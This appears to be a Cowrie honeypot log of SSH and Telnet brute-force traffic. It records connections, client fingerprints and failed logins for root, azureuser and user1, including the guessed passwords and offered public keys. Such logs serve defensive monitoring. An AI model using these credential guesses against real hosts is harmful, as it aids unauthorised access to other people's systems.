{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:20.811881Z","src_ip":"45.156.87.147","session":"87412151eac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:21.058678Z","src_ip":"45.156.87.147","session":"87412151eac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.943830013275146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:22.059867Z","src_ip":"102.37.220.188","session":"f79ef2a18e81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:22.141455Z","src_ip":"45.156.87.147","session":"87412151eac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":55744,"dst_ip":"10.17.0.5","dst_port":22,"session":"42f5c4a2456e","protocol":"ssh","message":"New connection: 45.156.87.147:55744 (10.17.0.5:22) [session: 42f5c4a2456e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:26.084588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:26.088491Z","src_ip":"45.156.87.147","session":"42f5c4a2456e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:26.169396Z","src_ip":"45.156.87.147","session":"42f5c4a2456e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:26.420718Z","src_ip":"45.156.87.147","session":"42f5c4a2456e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.41.67","src_port":53536,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8e476b0984f","protocol":"ssh","message":"New connection: 107.173.41.67:53536 (10.17.0.5:22) [session: e8e476b0984f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:26.943087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:26.950368Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:26.981901Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:f6:5b:32:1f:40:00:82:80:d7:9e:1a:e4:e4:46:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqoMcOsiBn7lkY/hXGA1ImUJ1iAVDGAdwcAwOK+wQ75MJcIilPoM2yWy6mU5A5LHSPIRT48BRfzdC8+7Qtny2z2DdmGd58LF7nsoWq+KCY7Tc29cEIGhtHnppXiUQ38i99sLP3LcuvX6iZ452WgGuB0XGmCnH/fJbYSLaujTv2Aps13o+A6qipe0fZk2jdDWseXgh16gI0EnEjgIU9lQ5B4rjDuAQSYrwl7niF2j3yHtrsHmQxbyrJik0hQl5IRZFOsJzXl4K3piwBDALPB0tFRewdyCbUJocs6FZusEUWVmd92s2wkcMypNAckjjLCMVHNzYlM0Tx/MkK2C7wu5WZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:f6:5b:32:1f:40:00:82:80:d7:9e:1a:e4:e4:46:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.066318Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:f6:5b:32:1f:40:00:82:80:d7:9e:1a:e4:e4:46:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqoMcOsiBn7lkY/hXGA1ImUJ1iAVDGAdwcAwOK+wQ75MJcIilPoM2yWy6mU5A5LHSPIRT48BRfzdC8+7Qtny2z2DdmGd58LF7nsoWq+KCY7Tc29cEIGhtHnppXiUQ38i99sLP3LcuvX6iZ452WgGuB0XGmCnH/fJbYSLaujTv2Aps13o+A6qipe0fZk2jdDWseXgh16gI0EnEjgIU9lQ5B4rjDuAQSYrwl7niF2j3yHtrsHmQxbyrJik0hQl5IRZFOsJzXl4K3piwBDALPB0tFRewdyCbUJocs6FZusEUWVmd92s2wkcMypNAckjjLCMVHNzYlM0Tx/MkK2C7wu5WZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.068383Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:d2:2b:f2:57:90:56:72:91:44:bc:ab:a3:46:8e:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDsUBqkDx0GX7c7VZ5/AXTiSO/o4wqlkNWHGFJZiKLXfH5xOatPZmd8Duf7VjO4NJUjnKEK4qnCUEyb8nAFa6hvVlDMufBJ5g18VT6LGE+vZ3OJRmcOHyEPkwJhxHILKMQAaJqSPNhqTj6c6+VqtysE+pX41NU+y+U30wvoeOifteV/jy1T/ymx6PEbwHf0q9mtbXZgfJrkTP5Dmovmgh+1fGN7UG+IQur9zcZDrNQ4bNfDH3dQKtmSotQ3jymRZIsPdOD2m2VY77H6UxM+atn4Snr9QVSJspaGjAAf0JRa+r4RoJsys64+CCoKPcCnnJpUXHU39L9RhEBJyec9ar6l+zabvSVOQ6mL5OTkIFA+vfbGSiN0jmdh9dTH1XQNznv66qZZ6MMvXLH6vhjrYxYl5RVkIxZW9KzuqwrcWGWsa7Js+5XO7Zoalz0Z921yw1sC5k3EW5O7pA6oWizATKI0sqsFxmTdLqoXDCdM2VaPm52R5OW/nmTH7/7wsloE950=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:d2:2b:f2:57:90:56:72:91:44:bc:ab:a3:46:8e:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.087529Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:d2:2b:f2:57:90:56:72:91:44:bc:ab:a3:46:8e:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDsUBqkDx0GX7c7VZ5/AXTiSO/o4wqlkNWHGFJZiKLXfH5xOatPZmd8Duf7VjO4NJUjnKEK4qnCUEyb8nAFa6hvVlDMufBJ5g18VT6LGE+vZ3OJRmcOHyEPkwJhxHILKMQAaJqSPNhqTj6c6+VqtysE+pX41NU+y+U30wvoeOifteV/jy1T/ymx6PEbwHf0q9mtbXZgfJrkTP5Dmovmgh+1fGN7UG+IQur9zcZDrNQ4bNfDH3dQKtmSotQ3jymRZIsPdOD2m2VY77H6UxM+atn4Snr9QVSJspaGjAAf0JRa+r4RoJsys64+CCoKPcCnnJpUXHU39L9RhEBJyec9ar6l+zabvSVOQ6mL5OTkIFA+vfbGSiN0jmdh9dTH1XQNznv66qZZ6MMvXLH6vhjrYxYl5RVkIxZW9KzuqwrcWGWsa7Js+5XO7Zoalz0Z921yw1sC5k3EW5O7pA6oWizATKI0sqsFxmTdLqoXDCdM2VaPm52R5OW/nmTH7/7wsloE950=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.090243Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:47:08:c8:e7:49:b6:22:d4:bf:bd:25:74:03:a8:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbo0wt5K1RT8VA5h8W63wP92BDwRKtj0XNxu/zDXVIR84WAByXnKyW6b4shYeIHB1hfDhK8XoF9j8BDaTGKuXT6X1Cf5/Tpg+zU3kLxNEkABE5N9CO0sPdqvvwaikvZZn7Uzlaqdlhes9KnJJuhHUkTXEZ5A7RNfv44euUOwCKmEDeL67qV0Sd1MxZ3ahkXWFIuY09SMCrZcVf8b0NvxLudCDaHFjLJ61SDTRSGF3R6YRiWOOioJQg3bXYUZXpZSfJDs/a93fPhRrsW2fVoaOSH/Hrc/LGybgZ0e5f3L+CtPDB8tmDMqu9Kr6HL29iwlOwdnsC2FxE+5LnULzooK3TswsZYoI8ucJr8dvZ1XkNuHY/Izc4tjq4JYNekuBq09kOtjPUKbymwCKiag1AY6FqabcjyFtuTfeZSTQO0eOPytru81fqZFAYLy9R5of9bQQ8/nFJeY0A7S6wOFo85nGSpXkgC0t2Y3n7gTEv3fedN47O5SGXzk9vbgDCszolr3SjVTwLibgE0VeVrC8ZpYotGRuqjoODO4UzQQw3JCeHSLYlLVxCeOI9ueDOWOoFXgIu7rqEoQ6gzEoMvb028zLb10U2fAacFWuwSt8/9p61XenJqWZmc2/zfIgr/91AxxppE5/aSLNWWrSrhKLQ+TLbE5D/heC01Z9OpWMnMZORKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:47:08:c8:e7:49:b6:22:d4:bf:bd:25:74:03:a8:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.110755Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:47:08:c8:e7:49:b6:22:d4:bf:bd:25:74:03:a8:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDbo0wt5K1RT8VA5h8W63wP92BDwRKtj0XNxu/zDXVIR84WAByXnKyW6b4shYeIHB1hfDhK8XoF9j8BDaTGKuXT6X1Cf5/Tpg+zU3kLxNEkABE5N9CO0sPdqvvwaikvZZn7Uzlaqdlhes9KnJJuhHUkTXEZ5A7RNfv44euUOwCKmEDeL67qV0Sd1MxZ3ahkXWFIuY09SMCrZcVf8b0NvxLudCDaHFjLJ61SDTRSGF3R6YRiWOOioJQg3bXYUZXpZSfJDs/a93fPhRrsW2fVoaOSH/Hrc/LGybgZ0e5f3L+CtPDB8tmDMqu9Kr6HL29iwlOwdnsC2FxE+5LnULzooK3TswsZYoI8ucJr8dvZ1XkNuHY/Izc4tjq4JYNekuBq09kOtjPUKbymwCKiag1AY6FqabcjyFtuTfeZSTQO0eOPytru81fqZFAYLy9R5of9bQQ8/nFJeY0A7S6wOFo85nGSpXkgC0t2Y3n7gTEv3fedN47O5SGXzk9vbgDCszolr3SjVTwLibgE0VeVrC8ZpYotGRuqjoODO4UzQQw3JCeHSLYlLVxCeOI9ueDOWOoFXgIu7rqEoQ6gzEoMvb028zLb10U2fAacFWuwSt8/9p61XenJqWZmc2/zfIgr/91AxxppE5/aSLNWWrSrhKLQ+TLbE5D/heC01Z9OpWMnMZORKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.112875Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:ed:45:8e:ee:4b:7f:97:e1:fe:b1:f3:51:c3:d3:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+trWKCDO1aR2XUqi9PmwvDFISnSp8lp7zJMoqyKTf7Y2mpUMaCYDoIpT/Sm4t+Rf7M44kMwbsX/qwWqJmEUXbvZwjwuzff7ks82yuPmBDAX/dG0kiRhvRSWHHMJpAX7zS4IEj4a1Fn1EOsffUFLpNGCzySTbNYT0dH0W7SvoHizYWZSSgmQnercVIJbSw9hlp6LtVSDwCPOQCE324ZQqCNyd2JPVaXin3KzT1NMytQKFlRaPzezzKh9+SaAMrfFvvMI4Vp8shHiF6IrDpyDjod3oEYsQEHECVF3vBMyWzgeXUHBNldOCo6SMIKvGh830ABpYP4Jzc+aZbEmfPCAyP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:ed:45:8e:ee:4b:7f:97:e1:fe:b1:f3:51:c3:d3:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.134328Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:ed:45:8e:ee:4b:7f:97:e1:fe:b1:f3:51:c3:d3:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+trWKCDO1aR2XUqi9PmwvDFISnSp8lp7zJMoqyKTf7Y2mpUMaCYDoIpT/Sm4t+Rf7M44kMwbsX/qwWqJmEUXbvZwjwuzff7ks82yuPmBDAX/dG0kiRhvRSWHHMJpAX7zS4IEj4a1Fn1EOsffUFLpNGCzySTbNYT0dH0W7SvoHizYWZSSgmQnercVIJbSw9hlp6LtVSDwCPOQCE324ZQqCNyd2JPVaXin3KzT1NMytQKFlRaPzezzKh9+SaAMrfFvvMI4Vp8shHiF6IrDpyDjod3oEYsQEHECVF3vBMyWzgeXUHBNldOCo6SMIKvGh830ABpYP4Jzc+aZbEmfPCAyP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.136891Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:97:f6:13:02:35:ae:8e:33:81:e3:8d:46:d0:af:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK6d+XShLXyJ/uN5MD3sTnNozlt2MhTs9hrsJ06MuZtIyw39TgGxZg4tiXfvodkbYcKFOr1nGNVUHELKfxBRS8TWVeBjkf/4xpOxAiWIH/uhtm+p8lWRwvvi/NV1wMJ50dM1fPh0cwS33Ze1ezIZLdrUjBycdK5rsqOBGabgRZnWP93sMVl8TtoClki6cSbAnLzevEipdEBgAahJQ1NK2TKUhJ7YVWkdAIEnZl9+JsgaHq45C2D29YWmr5/6UCq+fL9ekUmFNIQcgnt0SyoRpB7oIAfX8M609Qt0iRbG4TtT553pq83pRY+dgzCiPeYiwjRv5QFrxSlVA9QsRhA0at","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:97:f6:13:02:35:ae:8e:33:81:e3:8d:46:d0:af:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.158145Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:97:f6:13:02:35:ae:8e:33:81:e3:8d:46:d0:af:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK6d+XShLXyJ/uN5MD3sTnNozlt2MhTs9hrsJ06MuZtIyw39TgGxZg4tiXfvodkbYcKFOr1nGNVUHELKfxBRS8TWVeBjkf/4xpOxAiWIH/uhtm+p8lWRwvvi/NV1wMJ50dM1fPh0cwS33Ze1ezIZLdrUjBycdK5rsqOBGabgRZnWP93sMVl8TtoClki6cSbAnLzevEipdEBgAahJQ1NK2TKUhJ7YVWkdAIEnZl9+JsgaHq45C2D29YWmr5/6UCq+fL9ekUmFNIQcgnt0SyoRpB7oIAfX8M609Qt0iRbG4TtT553pq83pRY+dgzCiPeYiwjRv5QFrxSlVA9QsRhA0at","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.161620Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.181610Z","src_ip":"107.173.41.67","session":"e8e476b0984f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:27.548886Z","src_ip":"45.156.87.147","session":"42f5c4a2456e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34698,"dst_ip":"10.17.0.5","dst_port":22,"session":"b550f1c23663","protocol":"ssh","message":"New connection: 45.156.87.147:34698 (10.17.0.5:22) [session: b550f1c23663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:31.591366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:31.595141Z","src_ip":"45.156.87.147","session":"b550f1c23663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:31.676548Z","src_ip":"45.156.87.147","session":"b550f1c23663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"modzmodz","message":"login attempt [user1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:31.942911Z","src_ip":"45.156.87.147","session":"b550f1c23663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":32962,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f26a2546f9e","protocol":"telnet","message":"New connection: 172.81.62.90:32962 (159.203.135.109:23) [session: 5f26a2546f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:32.369318Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:33.025203Z","src_ip":"45.156.87.147","session":"b550f1c23663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.96334528923035,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:35.398028Z","src_ip":"172.81.62.90","session":"c3c8381e95a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34700,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a84ab7a05f","protocol":"ssh","message":"New connection: 45.156.87.147:34700 (10.17.0.5:22) [session: 54a84ab7a05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:37.100014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:31:37.104325Z","src_ip":"45.156.87.147","session":"54a84ab7a05f","protocol":"ssh"}
